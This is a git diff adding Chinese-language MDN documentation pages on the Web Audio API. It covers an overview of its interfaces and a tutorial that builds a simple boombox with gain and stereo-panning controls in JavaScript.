对于音频来说,扇入是指 {{domxref("ChannelMergerNode")}}  节点接收一系列单声道输入声源,并将它们整合输出为一个多声道音频信号的过程:

+ +

+ +

扇出恰恰相反,是指一个{{domxref("ChannelSplitterNode")}} 节点接收一个多声道输入声源并将它分离成多个单声道音频信号的过程:

+ +

diff --git a/files/zh-cn/web/api/web_audio_api/index.html b/files/zh-cn/web/api/web_audio_api/index.html new file mode 100644 index 0000000000..f4f25afdfa --- /dev/null +++ b/files/zh-cn/web/api/web_audio_api/index.html @@ -0,0 +1,500 @@ +--- +title: Web Audio API +slug: Web/API/Web_Audio_API +tags: + - HTML5音频 + - Web Audio API +translation_of: Web/API/Web_Audio_API +--- +
+

Web Audio API 提供了在Web上控制音频的一个非常有效通用的系统,允许开发者来自选音频源,对音频添加特效,使音频可视化,添加空间效果 (如平移),等等。

+
+ +

Web audio 概念与使用

+ +

Web Audio API使用户可以在音频上下文(AudioContext)中进行音频操作,具有模块化路由的特点。在音频节点上操作进行基础的音频, 它们连接在一起构成音频路由图。即使在单个上下文中也支持多源,尽管这些音频源具有多种不同类型通道布局。这种模块化设计提供了灵活创建动态效果的复合音频的方法。

+ +

音频节点通过它们的输入输出相互连接,形成一个链或者一个简单的网。一般来说,这个链或网起始于一个或多个音频源。音频源可以提供一个片段一个片段的音频采样数据(以数组的方式),一般,一秒钟的音频数据可以被切分成几万个这样的片段。这些片段可以是经过一些数学运算得到 (比如{{domxref("OscillatorNode")}}),也可以是音频或视频的文件读出来的(比如{{domxref("AudioBufferSourceNode")}}和{{domxref("MediaElementAudioSourceNode")}}),又或者是音频流({{domxref("MediaStreamAudioSourceNode")}})。其实,音频文件本身就是声音的采样数据,这些采样数据可以来自麦克风,也可以来自电子乐器,然后混合成一个单一的复杂的波形。

+ +

这些节点的输出可以连接到其它节点的输入上,然后新节点可以对接收到的采样数据再进行其它的处理,再形成一个结果流。一个最常见的操作是通过把输入的采样数据放大来达到扩音器的作用(缩小就是一个弱音器)(参见{{domxref("GainNode")}})。声音处理完成之后,可以连接到一个目的地({{domxref("AudioContext.destination")}}),这个目的地负责把声音数据传输给扬声器或者耳机。注意,只有当用户期望听到声音时,才需要进行最后一个这个连接。

+ +

一个简单而典型的web audio流程如下:

+ +
    +
  1. 创建音频上下文
  2. +
  3. 在音频上下文里创建源 — 例如 <audio>, 振荡器, 流
  4. +
  5. 创建效果节点,例如混响、双二阶滤波器、平移、压缩
  6. +
  7. 为音频选择一个目的地,例如你的系统扬声器
  8. +
  9. 连接源到效果器,对目的地进行效果输出
  10. +
+ +

A simple box diagram with an outer box labeled Audio context, and three inner boxes labeled Sources, Effects and Destination. The three inner boxes have arrow between them pointing from left to right, indicating the flow of audio information.

+ +

使用这个API,时间可以被非常精确地控制,几乎没有延迟,这样开发人员可以准确地响应事件,并且可以针对采样数据进行编程,甚至是较高的采样率。这样,鼓点和节拍是准确无误的。

+ +

Web Audio API 也使我们能够控制音频的空间化。在基于源 - 侦听器模型的系统中,它允许控制平移模型和处理距离引起的衰减或移动源(移动侦听)引起的多普勒效应

+ +
+

注意: 你可以阅读我们关于 Web Audio API 的文章来了解更多细节 Web Audio API背后的基本概念

+
+ +

Web Audio API 接口

+ +

Web Audio API共有一系列接口和相关的事件,我们已经把它们分成了九类功能。

+ +

通用音频图定义

+ +

Web Audio API 中与生成音频图相关的定义与通用容器。

+ +
+
{{domxref("AudioContext")}}
+
AudioContext接口代表由音频模块构成的音频处理图。音频上下文控制其所包含节点的创建和音频处理、解码。使用其它接口前你必需创建一个音频上下文,一切操作都在这个环境里进行。
+
{{domxref("AudioNode")}}
+
音频节点 接口是一个音频处理模块, 例如音频源({{HTMLElement("audio")}}或{{HTMLElement("video")}}),音频输出、中间处理模块(例如:滤波器 {{domxref("BiquadFilterNode")}} 或者音量控制器 {{domxref("GainNode")}})。
+
{{domxref("AudioParam")}}
+
AudioParam 接口代表音频相关的参数,比如一个 {{domxref("AudioNode")}}的参数。它可以设置为特定值或值的变化,并且可以在指定的时间之后以指定模式变更。
+
{{event("ended")}}结束事件
+
当媒体播放停止时,会触发ended事件。
+
+ +

定义音频源

+ +

Web Audio API 使用的音频源接口。

+ +
+
{{domxref("OscillatorNode")}}
+
OscillatorNode接口代表一种随时间变化的波形,比如正弦波形或三角波形。类型是{{domxref("AudioNode")}},功能是音频处理模块,可以产生指定频率的波形。
+
{{domxref("AudioBuffer")}}
+
AudioBuffer代表内存中的一段音频数据,可以通过{{ domxref("AudioContext.decodeAudioData()") }}方法从音频文件创建,也可以通过{{ domxref("AudioContext.createBuffer()") }}方法从原始数据创建。当音频数据被解码成这种格式之后,就可以被放入一个{{ domxref("AudioBufferSourceNode") }}中使用。
+
{{domxref("AudioBufferSourceNode")}}
+
AudioBufferSourceNode表示由内存音频数据组成的音频源,音频数据存储在{{domxref("AudioBuffer")}}中。这是一个作为音频源的{{domxref("AudioNode")}}。
+
{{domxref("MediaElementAudioSourceNode")}}
+
MediaElementAudioSourceNode接口表示由HTML5 {{ htmlelement("audio") }}或{{ htmlelement("video") }}元素生成的音频源。这是一个作为音频源的{{domxref("AudioNode")}}。
+
{{domxref("MediaStreamAudioSourceNode")}}
+
MediaStreamAudioSourceNode接口表示由 WebRTC {{domxref("MediaStream")}}(如网络摄像头或麦克风)生成的音频源。这是一个作为音频源的{{domxref("AudioNode")}}。
+
+ +

定义音效

+ +

应用到音频源上的音效。

+ +
+
{{domxref("BiquadFilterNode")}}
+
BiquadFilterNode 接口表示一个简单的低频滤波器。它是一个{{domxref("AudioNode")}},可以表示不同种类的滤波器、调音器或图形均衡器。BiquadFilterNode 总是只有一个输入和一个输出。
+
{{domxref("ConvolverNode")}}
+
ConvolverNode 接口是一个{{domxref("AudioNode")}}对给定的 AudioBuffer 执行线性卷积,通常用于实现混响效果
+
{{domxref("DelayNode")}}
+
DelayNode 接口表示延迟线;是{{domxref("AudioNode")}} 类型的音频处理模块,使输入的数据延时输出。
+
{{domxref("DynamicsCompressorNode")}}
+
DynamicsCompressorNode 提供了一个压缩效果,当多个音频在同时播放并且混合的时候,可以通过它降低音量最大的部分的音量来帮助避免发生削波和失真。
+
{{domxref("GainNode")}}
+
GainNode 接口用于音量变化。它是一个 {{domxref("AudioNode")}} 类型的音频处理模块,输入后应用增益 效果,然后输出。
+
{{domxref("StereoPannerNode")}}
+
StereoPannerNode 接口表示一个简单立体声控制节点,用来左右移动音频流。
+
{{domxref("WaveShaperNode")}}
+
WaveShaperNode接口表示一个非线性的扭曲。它是{{domxref("AudioNode")}}类型,可以利用曲线来对信号进行扭曲。除了一些效果明显的扭曲,还常被用来给声音添加温暖的感觉。
+
{{domxref("PeriodicWave")}}
+
用来定义周期性的波形,可被用来重塑 {{ domxref("OscillatorNode") }}的输出.
+
+ +

定义音频目的地

+ +

在你处理完音频之后,这些接口定义了输出到哪里。

+ +
+
{{domxref("AudioDestinationNode")}}
+
AudioDestinationNode 定义了最后音频要输出到哪里,通常是输出到你的扬声器。
+
{{domxref("MediaStreamAudioDestinationNode")}}
+
MediaStreamAudioDestinationNode定义了使用 WebRTC 的{{domxref("MediaStream")}} (只包含单个AudioMediaStreamTrack)应该连接的目的地,AudioMediaStreamTrack的使用方式和从{{ domxref("MediaDevices.getUserMedia", "getUserMedia()") }}中得到{{domxref("MediaStream")}}相似。这个接口是{{domxref("AudioNode")}}类型的音频目的地。
+
+ +

数据分析和可视化

+ +

如果你想从音频里提取时间、频率或者其它数据,你需要 AnalyserNode。

+ +
+
{{domxref("AnalyserNode")}}
+
AnalyserNode表示一个可以提供实时频率分析与时域分析的切点,这些分析数据可以用做数据分析和可视化。
+
+ +

分离、合并声道

+ +

你将使用这些接口来拆分、合并声道。

+ +
+
{{domxref("ChannelSplitterNode")}}
+
ChannelSplitterNode可以把输入流的每个声道输出到一个独立的输出流。
+
{{domxref("ChannelMergerNode")}}
+
ChannelMergerNode用于把一组输入流合成到一个输出流。输出流的每一个声道对应一个输入流。
+
+ +

声音空间效果

+ +

这些接口用来添加空间平移效果到音频源。

+ +
+
{{domxref("AudioListener")}}
+
AudioListener代表场景中正在听声音的人的位置和朝向。
+
{{domxref("PannerNode")}}
+
PannerNode用于表示场景是声音的空间行为。它是{{domxref("AudioNode")}}类型的音频处理模块,这个节点用于表示右手笛卡尔坐标系里声源的位置信息,运动信息(通过一个速度向量表示),方向信息(通过一个方向圆锥表示)。
+
+ +

使用 JavaScript 处理音频

+ +

可以编写JavaScript代码来处理音频数据。当然,这需要用到下面的接口和事件。

+ +
+

注意:这些功能在Web Audio API的2014年8月9日版本中已经标记为不推荐的,这些功能很快会被{{ anch("Audio_Workers") }}代替。

+
+ +
+
{{domxref("ScriptProcessorNode")}}
+
ScriptProcessorNode接口用于通过JavaScript代码生成,处理,分析音频。它是一个{{domxref("AudioNode")}}类型的音频处理模块,但是它与两个缓冲区相连接,一个缓冲区里包含当前的输入数据,另一个缓冲区里包含着输出数据。每当新的音频数据被放入输入缓冲区,就会产生一个{{domxref("AudioProcessingEvent")}}事件,当这个事件处理结束时,输出缓冲区里应该写好了新数据。
+
{{event("audioprocess")}} (event)
+
当一个Web Audio API {{domxref("ScriptProcessorNode")}}已经准备好进行处理时,这个事件回调会被调用。
+
{{domxref("AudioProcessingEvent")}}
+
当{{domxref("ScriptProcessorNode")}}的输入流数据准备好了时,AudioProcessingEvent事件会产生。
+
+ +

离线(后台)音频处理

+ +

在后台进行音频的快速处理也是可以的。仅仅生成包含音频数据的{{domxref("AudioBuffer")}},而不在扬声器里播放它。

+ +
+
{{domxref("OfflineAudioContext")}}
+
OfflineAudioContext离线音频上下文也是音频上下文{{domxref("AudioContext")}},也表示把{{domxref("AudioNode")}}连接到一起的一个音频处理图。但是,与一个标准的音频上下文相比,离线上下文不能把音频渲染到扬声器,仅仅是把音频渲染到一个缓冲区。
+
{{event("complete")}} (event)
+
Complete事件,当离线音频上下文被终止时产生。
+
{{domxref("OfflineAudioCompletionEvent")}}
+
OfflineAudioCompletionEvent表示上下文被终止时的事件。
+
+ +

音频工作者

+ +

在了解这一部分内容之前,你可以先了解一个新的WebWorker方面的内容。音频工作者提供了一种可以在一个WebWorker上下文中直接进行音频处理的方式。现在已经定义了一些这部分功能的新接口,接口定义是在2014年的8月29日文档中。到目前为止,还没有浏览器已经对这些接口进行了实现。当这些接口被实现后,{{domxref("ScriptProcessorNode")}}和前文中提到的其它接口都会被替代。

+ +
+
{{domxref("AudioWorkerNode")}}
+
AudioWorkerNode也是{{domxref("AudioNode")}}类型,但是它用于与工作者线程合作来直接完成音频的生成,处理或分析等操作。
+
{{domxref("AudioWorkerGlobalScope")}}
+
AudioWorkerGlobalScope继承于DedicatedWorkerGlobalScope。代表一个工作者上下文。这个工作者上下文里运行着对音频进行处理的脚本。设计这个接口的目的,是为了直接通过编写JavaScript代码,来完成对音频数据的生成,处理,分析工作。
+
{{domxref("AudioProcessEvent")}}
+
这是一个事件对象。这个对象会被分发给{{domxref("AudioWorkerGlobalScope")}}对象来进行处理。
+
+ +

过时的接口

+ +

下面介绍到的这些接口定义于比较老的Web Audio API标准,现在已经过时了,而且已经被新接口取代。

+ +
+
{{domxref("JavaScriptNode")}}
+
用于通过编写JavaScript代码直接处理音频数据,现在已经被{{domxref("ScriptProcessorNode")}}取代。
+
{{domxref("WaveTableNode")}}
+
用于定义一个周期性波形,现在已经被{{domxref("PeriodicWave")}}取代。
+
+ +

示例

+ +

下面的这个示例使用了较多的Web Audio API接口,可以通过访问网址来查看它的时时运行情况,也可以访问GitHub上它的源代码。这个示例里会对声音的音量进行改变,打开页面时,可以先把扬声器的音量调小一些。

+ +

Web Audio API接口在下面的代码里已经高亮显示。

+ +
var audioCtx = new (window.AudioContext || window.webkitAudioContext)(); // define audio context
+// Webkit/blink browsers need prefix, Safari won't work without window.
+
+var voiceSelect = document.getElementById("voice"); // select box for selecting voice effect options
+var visualSelect = document.getElementById("visual"); // select box for selecting audio visualization options
+var mute = document.querySelector('.mute'); // mute button
+var drawVisual; // requestAnimationFrame
+
+var analyser = audioCtx.createAnalyser();
+var distortion = audioCtx.createWaveShaper();
+var gainNode = audioCtx.createGain();
+var biquadFilter = audioCtx.createBiquadFilter();
+
+function makeDistortionCurve(amount) { // function to make curve shape for distortion/wave shaper node to use
+  var k = typeof amount === 'number' ? amount : 50,
+    n_samples = 44100,
+    curve = new Float32Array(n_samples),
+    deg = Math.PI / 180,
+    i = 0,
+    x;
+  for ( ; i < n_samples; ++i ) {
+    x = i * 2 / n_samples - 1;
+    curve[i] = ( 3 + k ) * x * 20 * deg / ( Math.PI + k * Math.abs(x) );
+  }
+  return curve;
+};
+
+navigator.getUserMedia (
+  // constraints - only audio needed for this app
+  {
+    audio: true
+  },
+
+  // Success callback
+  function(stream) {
+    source = audioCtx.createMediaStreamSource(stream);
+    source.connect(analyser);
+    analyser.connect(distortion);
+    distortion.connect(biquadFilter);
+    biquadFilter.connect(gainNode);
+    gainNode.connect(audioCtx.destination); // connecting the different audio graph nodes together
+
+    visualize(stream);
+    voiceChange();
+
+  },
+
+  // Error callback
+  function(err) {
+    console.log('The following gUM error occured: ' + err);
+  }
+);
+
+function visualize(stream) {
+  WIDTH = canvas.width;
+  HEIGHT = canvas.height;
+
+  var visualSetting = visualSelect.value;
+  console.log(visualSetting);
+
+  if(visualSetting == "sinewave") {
+    analyser.fftSize = 2048;
+    var bufferLength = analyser.frequencyBinCount; // half the FFT value
+    var dataArray = new Uint8Array(bufferLength); // create an array to store the data
+
+    canvasCtx.clearRect(0, 0, WIDTH, HEIGHT);
+
+    function draw() {
+
+      drawVisual = requestAnimationFrame(draw);
+
+      analyser.getByteTimeDomainData(dataArray); // get waveform data and put it into the array created above
+
+      canvasCtx.fillStyle = 'rgb(200, 200, 200)'; // draw wave with canvas
+      canvasCtx.fillRect(0, 0, WIDTH, HEIGHT);
+
+      canvasCtx.lineWidth = 2;
+      canvasCtx.strokeStyle = 'rgb(0, 0, 0)';
+
+      canvasCtx.beginPath();
+
+      var sliceWidth = WIDTH * 1.0 / bufferLength;
+      var x = 0;
+
+      for(var i = 0; i < bufferLength; i++) {
+
+        var v = dataArray[i] / 128.0;
+        var y = v * HEIGHT/2;
+
+        if(i === 0) {
+          canvasCtx.moveTo(x, y);
+        } else {
+          canvasCtx.lineTo(x, y);
+        }
+
+        x += sliceWidth;
+      }
+
+      canvasCtx.lineTo(canvas.width, canvas.height/2);
+      canvasCtx.stroke();
+    };
+
+    draw();
+
+  } else if(visualSetting == "off") {
+    canvasCtx.clearRect(0, 0, WIDTH, HEIGHT);
+    canvasCtx.fillStyle = "red";
+    canvasCtx.fillRect(0, 0, WIDTH, HEIGHT);
+  }
+
+}
+
+function voiceChange() {
+  distortion.curve = new Float32Array;
+  biquadFilter.gain.value = 0; // reset the effects each time the voiceChange function is run
+
+  var voiceSetting = voiceSelect.value;
+  console.log(voiceSetting);
+
+  if(voiceSetting == "distortion") {
+    distortion.curve = makeDistortionCurve(400); // apply distortion to sound using waveshaper node
+  } else if(voiceSetting == "biquad") {
+    biquadFilter.type = "lowshelf";
+    biquadFilter.frequency.value = 1000;
+    biquadFilter.gain.value = 25; // apply lowshelf filter to sounds using biquad
+  } else if(voiceSetting == "off") {
+    console.log("Voice settings turned off"); // do nothing, as off option was chosen
+  }
+
+}
+
+// event listeners to change visualize and voice settings
+
+visualSelect.onchange = function() {
+  window.cancelAnimationFrame(drawVisual);
+  visualize(stream);
+}
+
+voiceSelect.onchange = function() {
+  voiceChange();
+}
+
+mute.onclick = voiceMute;
+
+function voiceMute() { // toggle to mute and unmute sound
+  if(mute.id == "") {
+    gainNode.gain.value = 0; // gain set to 0 to mute sound
+    mute.id = "activated";
+    mute.innerHTML = "Unmute";
+  } else {
+    gainNode.gain.value = 1; // gain set to 1 to unmute sound
+    mute.id = "";
+    mute.innerHTML = "Mute";
+  }
+}
+
+ +

规范

+ + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('Web Audio API')}}{{Spec2('Web Audio API')}}
+ +

浏览器兼容性

+ +
{{CompatibilityTable}}
+ +
+ + + + + + + + + + + + + + + + + + + +
FeatureChromeFirefox (Gecko)Internet ExplorerOperaSafari (WebKit)
Basic support14 {{property_prefix("webkit")}}23{{CompatNo}}15 {{property_prefix("webkit")}}
+ 22 (unprefixed)
6 {{property_prefix("webkit")}}
+
+ +
+ + + + + + + + + + + + + + + + + + + + + + + +
FeatureAndroidChromeFirefox Mobile (Gecko)Firefox OSIE PhoneOpera MobileSafari Mobile
Basic support{{CompatNo}}28 {{property_prefix("webkit")}}251.2{{CompatNo}}{{CompatNo}}6 {{property_prefix("webkit")}}
+
+ +

相关链接

+ + + + diff --git a/files/zh-cn/web/api/web_audio_api/using_web_audio_api/index.html b/files/zh-cn/web/api/web_audio_api/using_web_audio_api/index.html new file mode 100644 index 0000000000..6feaaee6fb --- /dev/null +++ b/files/zh-cn/web/api/web_audio_api/using_web_audio_api/index.html @@ -0,0 +1,518 @@ +--- +title: Web Audio API的运用 +slug: Web/API/Web_Audio_API/Using_Web_Audio_API +tags: + - API + - Web Audio API + - 回放 + - 声音 + - 指南 + - 网络 +translation_of: Web/API/Web_Audio_API/Using_Web_Audio_API +--- +
+

让我们来看看 Web Audio API 入门。我们将简要介绍一些概念,然后学习一个简单的允许我们加载音轨,播放暂停,改变音量和立体声声像的音箱例子。

+
+ +
+

Web Audio API并不会取代<audio>音频元素,倒不如说它是<audio>的补充更好,就好比如<canvas>与<img>共存的关系。你使用来实现音频的方式取决于你的使用情况。如果你只是想控制一个简单的音轨的播放,<audio>或许是一个更好更快的选择。如果你想实现更多复杂的音频处理,以及播放,Web Audio API提供了更多的优势以及控制。

+ +

Web Audio API的一个强大之处在于,它没有任何严格的声音呼叫控制。比如说,在同一时间它没有呼叫32或64的声音的限制。如果你的处理器性能好的话,同一时间播放1000多的声音不卡顿也是有可能的。这充分显示真正的进步,要知道几年前中高频的声卡仅能处理小部分的负载。

+
+ +

例子

+ +

我们的音箱看起来像这样:

+ +

A boombox with play, pan, and volume controls

+ +

注意带有播放按钮的复古磁带卡座,及用于改变音量和立体声声像的平移滑块。我们可以使其更复杂,但这是该阶段进行简单学习的理想选择。

+ +

查看最终demo代码 here on Codepen,或者在 GitHub查看源代码on GitHub

+ +

浏览器支持

+ +

现代浏览器的 Web Audio API 对的大多数功能都有很好的支持。API有很多的功能,因此要获得更准确的信息,你必须检查每个参考页面底部的浏览器兼容表。

+ +

音频图

+ +

Web Audio API 中的所有内容都是基于音频图的概念,音频图由节点组成。

+ +

Web Audio API 在 audio context(音频上下文) 内处理音频,而且被设计为允许模块化路由。基本的音频操作是基于 audio nodes 进行的,音频节点连接起来形成一个音频路由图。你拥有输入节点,你要操作的声音源,根据设计需要被修改的节点,和输出节点(目的地),它们允许你保存或者听取这些声音。

+ +

支持拥有不同通道布局的多个的音频源,即使是在单个上下文。因为模块化设计,你可以创建具有动态效果的复杂的音频功能。

+ +

音频上下文

+ +

为了能通过Web Audio API执行任何操作,我们需要创建音频上下文实例。这能让我们访问API所有的特性和功能。

+ +
// for legacy browsers
+const AudioContext = window.AudioContext || window.webkitAudioContext;
+
+const audioContext = new AudioContext();
+
+ +

所以当我们这样做时会发生什么?为我们自动创建一个  {{domxref("BaseAudioContext")}}  并自动扩展到在线音频上下文。我们希望如此,因为我们想要播放在线声音。

+ +
+

注意:如果你只是想处理音频数据,举个例子,缓存和流式传输而不播放它,你可能想要考虑创建一个 {{domxref("OfflineAudioContext")}}。

+
+ +

加载声音

+ +

现在,需要通过我们创建的音频上下文播放一些声音。Web Audio API中有几种方法可以实现这一点。让我们通过一个简单的方法开始 — 因为我们有一个音箱,我们可能想播放一首完整的歌曲。 此外,为了便于访问,我们可以在在DOM中暴露该音轨。我们将使用 {{htmlelement("audio")}} 元素在页面上暴露这首歌曲。

+ +
<audio src="myCoolTrack.mp3" type="audio/mpeg"></audio>
+
+ +
+

注意:如果你要加载的声音文件保留在其他域中,则需要使用  crossorigin 属性;查看 Cross Origin Resource Sharing (CORS) 取得更多信息。

+
+ +

为了使用 Web Audio API的优秀特性,我们需要从该元素中获取源并将其传入我们创建的上下文中。幸运的是,有一个方法可以让我们做到这一点 — {{domxref("AudioContext.createMediaElementSource")}}:

+ +
// get the audio element
+const audioElement = document.querySelector('audio');
+
+// pass it into the audio context
+const track = audioContext.createMediaElementSource(audioElement);
+
+ +
+

注意:上面的 <audio> 元素在DOM中代表了一个{{domxref("HTMLMediaElement")}} 类型的对象,拥有其自身的一组功能。这一切都将保持不变。我们只是让Web Audio API能够访问到声音。

+
+ +

控制声音

+ +

当在网页上播放声音时,让用户能控制它是很重要的。根据使用场景,有无数的选项可用,但这我们将提供播放/暂停声音,改变音轨音量及从左到右平移声音的功能。

+ +

通过JavaScript代码控制声音会受到浏览器的自动播放策略的影响(autoplay support policies),因此在未经用户(或白名单)许可的情况下脚本对声音的控制会被阻止。浏览器的自动播放策略通常要求显式权限或者用户与页面产生互动后,才允许脚本触发音频播放。

+ +

这些特殊的要求基本上是因为意外的声音可能会打扰到用户,令人厌烦,并且可能导致可访问性问题。你可以在文章 媒体与Web音频API自动播放指南 了解更多相关信息。

+ +

因为我们的脚本正响应用户输入(例如,点击播放按钮)进行播放音频,我们状态良好且应该没有自动播放阻止的问题。所以,让我们看看我们的播放和暂停功能。我们有一个当音频播放时变为暂停按钮的播放按钮:

+ +
<button data-playing="false" role="switch" aria-checked="false">
+    <span>Play/Pause</span>
+</button>
+
+ +

在我们可以播放音频前我们需要将我们的音频图从音频源/输入节点连接到目的地。

+ +

我们已经通过把音频元素传入API生成一个输入节点。在大多数情况下,你不需要生成一个输出节点,你只需要将其他节点连接到可以为你处理这种情况的 {{domxref("BaseAudioContext.destination")}}:

+ +
track.connect(audioContext.destination);
+
+ +

可视化这些节点的一个好方法是绘制音频图形以便可视化它。这是我们当前的音频图:

+ +

an audio graph with an audio element source connected to the default destination

+ +

现在我们可以添加播放和暂停功能。

+ +
// select our play button
+const playButton = document.querySelector('button');
+
+playButton.addEventListener('click', function() {
+
+    // check if context is in suspended state (autoplay policy)
+    if (audioContext.state === 'suspended') {
+        audioContext.resume();
+    }
+
+    // play or pause track depending on state
+    if (this.dataset.playing === 'false') {
+        audioElement.play();
+        this.dataset.playing = 'true';
+    } else if (this.dataset.playing === 'true') {
+        audioElement.pause();
+        this.dataset.playing = 'false';
+    }
+
+}, false);
+
+ +

我们也需要考虑到当音频播放完毕后做什么。我们的 HTMLMediaElement 一旦播放完毕会触发一个 ended 事件,所以我们可以监听它并运行相应代码:

+ +
audioElement.addEventListener('ended', () => {
+    playButton.dataset.playing = 'false';
+}, false);
+
+ +

关于Web Audio编辑器

+ +

Firefox有一个名为 Web Audio editor 的工具。在其上运行音频图的任何页面上,你可以打开开发者工具,使用 Web Audio选项卡查看音频图,可查看每个节点的可用属性,并可以修改这些属性来查看会有什么效果。

+ +

The Firefox web audio editor showing an audio graph with AudioBufferSource, IIRFilter, and AudioDestination

+ +
+

注意:Web Audio编辑器默认不是开启的,你需要打开 Firefox developer tools 设置,选中Default Developer Tools部分中的Web Audio复选框来显示它。

+
+ +

修改声音

+ +

让我们深入研究一些基本的修改节点以改变我们的声音。这就是Web Audio API真正开始派上用场的地方。首先,让我们改变音量。这可以通过  {{domxref("GainNode")}} 实现,它表示我们的声波有多大。

+ +

使用 Web Audio API 可以通过2个方法创建节点。你可以使用上下文本身的工厂方法(例如, audioContext.createGain() )或者通过节点的构造函数(例如, new GainNode() ),我们将使用工厂方法:

+ +
const gainNode = audioContext.createGain();
+
+ +

现在我们需要在原先音频图基础上更新音频图,所以输入连接到增益,然后增益节点连接到目标:

+ +
track.connect(gainNode).connect(audioContext.destination);
+
+ +

这会让我们的音频图看起来如下:

+ +

an audio graph with an audio element source, connected to a gain node that modifies the audio source, and then going to the default destination

+ +

默认增益为1;这使当前音量保持不变。增益可以设置的最小值约-3.4,最大约3.4。这里我们将允许音箱增益可以设置到2(2倍的原音量)和降低到0(这可以有效的静音)。

+ +

让我们给用户这样的控制 — 我们将会使用 range input :

+ +
<input type="range" id="volume" min="0" max="2" value="1" step="0.01">
+
+ +
+

注意:范围输入(Range Input)是更新音频节点值非常方便的输入类型。你可以指定特定的范围值同时直接将它们作为音频参数一起使用。

+
+ +

所以当用户更改输入节点值时,获取此输入值并更新增益值:

+ +
const volumeControl = document.querySelector('#volume');
+
+volumeControl.addEventListener('input', function() {
+    gainNode.gain.value = this.value;
+}, false);
+
+ +
+

注意:节点对象的值(例如, GainNode.gain )不是简单值;它们实际上是  {{domxref("AudioParam")}} 类型对象 — 这些被称为参数。这也是为什么我们需要设置 GainNode.gain 的 value 属性,而不是直接设置  gain 的值。这使得它们更加的灵活,允许传入一系列特定的值以在例如一段时间内改变。

+
+ +

好的,现在用户可以更新音频的音量!如果你要增加静音功能,增益节点是可使用的完美节点。

+ +

为应用程序增加立体声平移

+ +

让我们添加另一个修改阶段来练习我们刚刚学过的。

+ +

如果用户拥有立体声功能,可用 {{domxref("StereoPannerNode")}} 节点改变左右扬声器的平衡。

+ +
+

注意: StereoPannerNode 用于你只想从左到右进行立体声平移的简单情况。还有一个  {{domxref("PannerNode")}}, 它允许对3D空间或声音空间化进行大量控制以创建更复杂的效果。这在游戏和3D应用程序中生成小鸟飞过头顶或者来自用户身后的声音。

+
+ +

为了使其可视化,我们将使我们的音频图如下:

+ +

An image showing the audio graph showing an input node, two modification nodes (a gain node and a stereo panner node) and a destination node.

+ +

这次让我们使用构造函数来生成节点。当我们这样做,我们需要传入上下文及该特定节点可能采用的任何选项:

+ +
const pannerOptions = { pan: 0 };
+const panner = new StereoPannerNode(audioContext, pannerOptions);
+
+ +
+

注意:目前生成节点的构造函数不是每个浏览器都支持的。旧工厂函数支持更为广泛。

+
+ +

这里我们的范围从-1(最左边)和1(最右边)。再次让我们使用范围类型的input来改变这个参数:

+ +
<input type="range" id="panner" min="-1" max="1" value="0" step="0.01">
+
+ +

与我们之前一样,我们使用来自这个input的值来调整我们的panner的值:

+ +
const pannerControl = document.querySelector('#panner');
+
+pannerControl.addEventListener('input', function() {
+    panner.pan.value = this.value;
+}, false);
+
+ +

让我们再次调整我们的音频图,将所有节点连接在一起:

+ +
track.connect(gainNode).connect(panner).connect(audioContext.destination);
+
+ +

剩下要做的就是试试这个应用程序:查看Codepen上的最终演示

+ +

摘要

+ +

好的,我们拥有一个音箱播放我们的“磁带”,我们可以调整音量和立体声声像,给我们提供了一个相当基本的工作音频图表。

+ +

这构成了开始向你的网站或Web应用添加音频所需的很少的几个基础知识。Web Audio API还有很多功能,但一旦你掌握了节点的概念及将音频节点图联系在一起,我们可以继续研究更加复杂的功能。

+ +

更多例子

+ +

还有其他示例可以了解有关Web Audio API的更多信息。

+ +

 Voice-change-O-matic 是一个有趣的语音操纵器和音频可视化web应用程序,允许你选择不同的效果和可视化。该应用程序相当初级,但它演示了同时使用多个 Web Audio API特性(运行 Voice-change-O-matic live)。

+ +

A UI with a sound wave being shown, and options for choosing voice effects and visualizations.

+ +

另一个专门用于演示 Web Audio API的例子是 Violent Theremin, 一个允许你通过移动鼠标来改变它的音调音量的简单的应用程序。它还提供了一个迷幻的灯光秀(查看Violent Theremin 源代码

+ +

A page full of rainbow colours, with two buttons labeled Clear screen and mute.

+ +

另参阅我们的 webaudio-examples repo 以获取更多示例。

+ +

注:以下为旧文档,因较完整,此处暂不删除,方便开发者查看。

+ +

基础概念

+ +
+

注释: 很多的代码碎片来自于这个例子 Violent Theremin example.

+
+ +

Web Audio API包含在音频上下文的处理音频操作,以及已被设计允许模块化路由。基本音频操作可通过音频节点进行,这些节点连接在一起,组成一个音频的路由表。多个音源——带有不同类型的频道配置——甚至可以被一个上下文支持。这个模块设计提供了创造带有动态效果的复杂音频功能的灵活性。

+ +

音频节点通过输入与输出进行连接,形成一个链,从一个或多个源出发,通过一个或更多的节点,最终到输出终端(你也可以不提供输出终端,换句话说,如果只是想使一些音频数据可视化)。一个简单经典的web  Audio的工作流程如下:

+ +

1. 构建音频上下文AudioContext对象;

+ +

2. 在AudioContext对象内,构建音源,比如<audio>,oscillator,stream

+ +

3. 构建效果节点effectNode,比如混响,双二阶滤波器,声相,压限器

+ +

4. 选择最终的音频目的地,比如说你的系统扬声器

+ +

5. 连接源到效果,效果到输出终端

+ +

构建AudioContext对象

+ +

首先,你需要构建一个AudioContext实例,来创建一个音频图。最简单的方法就像这样:

+ +
var audioCtx = new AudioContext();
+
+ +
+

注释: 同样一个文档是可以存在多个audioContext对象的,但是比较浪费。

+
+ +

然而,提供一个版本前缀对于webkit/Blink浏览器是很重要的,对于Firefox(桌面版/手机版/OS版)是不需要的。如下:

+ +
var audioCtx = new (window.AudioContext || window.webkitAudioContext)();
+
+ +
+

注释:当创建一个新的conText对象时,如果你不提示window对象,Safari会无效。

+
+ +

创建AudioSource

+ +

现在我们有了AudioContext,可以用这个来做很多事。第一件我们需要做的事是玩音乐。音频可以来自于多样的地方:

+ + + +

对于这些特殊的例子,我们将会为我们的源构建一个 oscillator来提供简单的音调,以及gain node来控制音频音量:

+ +
var oscillator = audioCtx.createOscillator();
+var gainNode = audioCtx.createGain();
+
+ +
+

注释: 为了直接播放一个音乐文件,你通常通过XHR来加载文件,通过Buffer来解码,创建BufferSource. 看这个 例子来自于 Voice-change-O-matic.

+
+ +
+

注释: Scott Michaud 已经写了一个有用的库来加载和解码一个或多个音频实例, 被称为 AudioSampleLoader. 这个可以帮助简化XHR/buffering的处理操作。

+
+ +

连接输入输出

+ +

为了通过你的扬声器来实际输出音质,你需要将它们连接起来。这个被称为节点连接方法,节点来自于很多可获得的不同节点类型。你想要连接的节点都提供了这个方法。

+ +

